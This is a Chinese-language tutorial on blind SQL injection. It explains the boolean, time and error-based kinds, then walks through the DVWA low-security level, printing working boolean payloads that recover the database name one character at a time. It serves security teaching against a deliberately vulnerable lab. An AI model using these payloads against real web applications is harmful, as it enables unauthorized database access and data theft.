SQL盲注原理
1.SQL盲注概念
SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
2.分类
基于布尔的盲注: 即可以根据返回页面判断条件真假的注入;基于时间的盲注: 即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;基于报错的盲注: 即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
3.盲注测试思路
1.对于基于布尔的盲注,通过构造真or假判断条件(数据库各项信息取值的大小比较, 如:字段个数,字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码…), 将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果 (True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注 响应从True<–>False发生变化的转折点。
2.对于基于时间的盲注,通过构造真or假判断条件的sql语句, 且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求, 观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。
3.对于基于报错的盲注,搜寻查看网上部分Blog,基本是在rand()函数作为group by的字段进行联用的时候会违反Mysql的约定而报错。rand()随机不确定性,使得group by会使用多次而报错。
4.盲注渗透测试流程
1.判断是否存在注入,注入的类型
2.猜解当前数据库名称
3.猜解数据库中的表名
4.猜解表中的字段名
5.获取表中的字段值
6.验证字段值的有效性
7.获取数据库的其他信息:版本、用户…
实战教程
1、low等级
1.1代码审计
代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞;
同时SQL语句查询返回的结果只有两种:
存在:User ID exists in the database;不存在:User ID is MISSING from the database;
单引号注入
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
1.2漏洞利用
a基于布尔的盲注:
a.1判断是否存在注入,注入是字符型还是数字型
若1' and 1=1 # //存在exists
1' and 1=2 # //不存在missing
存在字符型注入
若1 and 1=1 # //存在exists
1 and 1=2 # //存在exists
这两个都是存在,不是数字型注入。输入1' and 1=1# 实际后台执行,返回存在。
SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1#';
输入1' and 1=2# 实际后台执行,返回不存在。
SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2#';
说明存在字符型的SQL盲注。
a.2猜解当前的数据库名称
猜解数据库名,首先要猜解数据库名的各个属性,然后挨个猜解字符。数据库名称的属性:字符长度、字符组成的元素(字符/数字/下划线/…)
元素的位置(首位/第一位/…/末位)
2.1)判断数据库名称长度(二分法思维)
1' and length(database())>10 # //missing
1' and length(database())>5 # //missing
1' and length(database())>3 # //exists
1' and length(database())=4 # //exists
说明数据库名称长度为4个字符
SELECT first_name, last_name FROM users WHERE user_id = '1' and length(database())=4 # ';
2.2) 判断数据库名称的字符组成元素:
利用substr()函数从给定字符串中,从指定位置开始截取指定长度的字符串,分离出数据库名称的位置,并分别转换为ASCII,与对应的ASCII值比较大小,找到值相同的字符。
mysql数据库中的字符串函数substr()的参数含义。
用法:
substr(string, start, length);
string为字符串;
start为起始位置;
length为长度。
注意:mysql中substr()的start是从1开始的,而不是0
1' and ascii(substr(database(),1,1))>50 # //exists
1' and ascii(substr(database(),1,1))=100 # //exists
第一个字符为:100--->d
1' and ascii(substr(database(),2,1))=118 # //exists
第二个字符为:118--->v
1' and ascii(substr(database(),3,1))=119 # //exists
第三个字符为:119--->w
1' and ascii(substr(database(),4,1))=97 # //exists
第四个字符为:97--->a